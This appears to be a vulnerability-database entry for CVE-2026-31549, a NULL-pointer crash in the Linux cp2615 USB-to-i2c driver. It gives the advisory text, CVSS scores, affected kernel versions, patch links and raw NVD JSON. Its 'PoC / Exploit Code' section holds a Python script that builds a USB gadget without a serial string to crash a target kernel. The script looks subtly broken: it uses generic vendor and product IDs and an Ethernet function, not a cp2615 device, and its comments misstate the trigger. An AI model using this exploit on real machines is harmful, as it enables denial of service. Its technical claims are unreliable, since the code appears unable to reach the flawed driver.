CVE-2026-31549

Description

In the Linux kernel, the following vulnerability has been resolved: i2c: cp2615: fix serial string NULL-deref at probe The cp2615 driver uses the USB device serial string as the i2c adapter name but does not make sure that the string exists. Verify that the device has a serial number before accessing it to avoid triggering a NULL-pointer dereference (e.g. with malicious devices).

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Commit 13ccf9b 之前)

Linux Kernel (Commit 4a22af8 之前)

Linux Kernel (Commit 69aece6 之前)

Linux Kernel (Commit a977829 之前)

Linux Kernel (Commit aa79f99 之前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os
import shutil

# This script demonstrates how to create a malicious USB gadget
# without a serial number to trigger the CVE-2026-31549 vulnerability.
# Requires Linux kernel with USB ConfigFS support.

CONFIGFS_MOUNT = "/sys/kernel/config/usb_gadget"
GADGET_NAME = "g1"

# Mount configfs if not already mounted
if not os.path.ismount(CONFIGFS_MOUNT):
    os.system("mount none -t configfs /sys/kernel/config/usb_gadget")

gadget_path = os.path.join(CONFIGFS_MOUNT, GADGET_NAME)

# Create the gadget directory
if os.path.exists(gadget_path):
    shutil.rmtree(gadget_path)
os.makedirs(gadget_path)

# Set basic vendor/product info
with open(os.path.join(gadget_path, "idVendor"), "w") as f:
    f.write("0x1209")  # Generic vendor ID

with open(os.path.join(gadget_path, "idProduct"), "w") as f:
    f.write("0x0001") # Generic product ID

# Create a configuration (e.g., config 1)
configs_path = os.path.join(gadget_path, "configs")
config_name = "c.1"
config_path = os.path.join(configs_path, config_name)
os.makedirs(config_path)

# Create a function (e.g., ECM for Ethernet)
functions_path = os.path.join(gadget_path, "functions")
func_name = "ecm.usb0"
func_path = os.path.join(functions_path, func_name)
os.makedirs(func_path)

# Link function to config
os.symlink(func_path, os.path.join(config_path, func_name))

# CRITICAL STEP FOR EXPLOIT:
# Do NOT write to 'bcdDevice' or provide a serial string.
# The cp2615 driver expects a serial string, but providing none
# makes usb_string return NULL, triggering the NULL-deref.

# Enable the gadget (assuming UDC driver is available, e.g., dummy_udc)
udc_path = "/sys/class/udc/dummy_udc.0"
if os.path.exists(udc_path):
    with open(os.path.join(gadget_path, "UDC"), "w") as f:
        f.write("dummy_udc.0")
    print("Malicious gadget enabled. Connect to target to trigger crash.")
else:
    print("No UDC available (e.g., dummy_udc). Cannot enable gadget.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31549
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31549
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31549/
[4] VulDB https://vuldb.com/cve/CVE-2026-31549
[5] https://git.kernel.org/stable/c/13ccf9b106bba121728f1625c4375a1bd8f5c5a3
[6] https://git.kernel.org/stable/c/4a22af879172336370ae3e81e7f65fb2f69472ee
[7] https://git.kernel.org/stable/c/69aece634a7eebafd9a596e5494d52facf6f26ec
[8] https://git.kernel.org/stable/c/a9778298f47036866ea15eeb17242e8a4612580f
[9] https://git.kernel.org/stable/c/aa79f996eb41e95aed85a1bd7f56bcd6a3842008
[10] https://git.kernel.org/stable/c/e68c267787778bcdf3d91b06f794faaba7f0d1d1
[11] https://git.kernel.org/stable/c/efe996bcfe50c2dcc6cf65c574285713b722ced7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31549", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:29.060", "lastModified": "2026-04-27T20:15:45.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: cp2615: fix serial string NULL-deref at probe\n\nThe cp2615 driver uses the USB device serial string as the i2c adapter\nname but does not make sure that the string exists.\n\nVerify that the device has a serial number before accessing it to avoid\ntriggering a NULL-pointer dereference (e.g. with malicious devices)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13.1", "versionEndExcluding": "5.15.203", "matchCriteriaId": "CC3F58C6-09EC-41E6-8E82-613F5965C0DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.13:-:*:*:*:*:*:*", "matchCriteriaId": "8F0E7012-0BA3-4E6A-ADE9-57973CBDEE28"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/13ccf9b106bba121728f1625c4375a1bd8f5c5a3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4a22af879172336370ae3e81e7f65fb2f69472ee", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/69aece634a7eebafd9a596e5494d52facf6f26ec", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a9778298f47036866ea15eeb17242e8a4612580f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aa79f996eb41e95aed85a1bd7f56bcd6a3842008", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e68c267787778bcdf3d91b06f794faaba7f0d1d1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/efe996bcfe50c2dcc6cf65c574285713b722ced7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}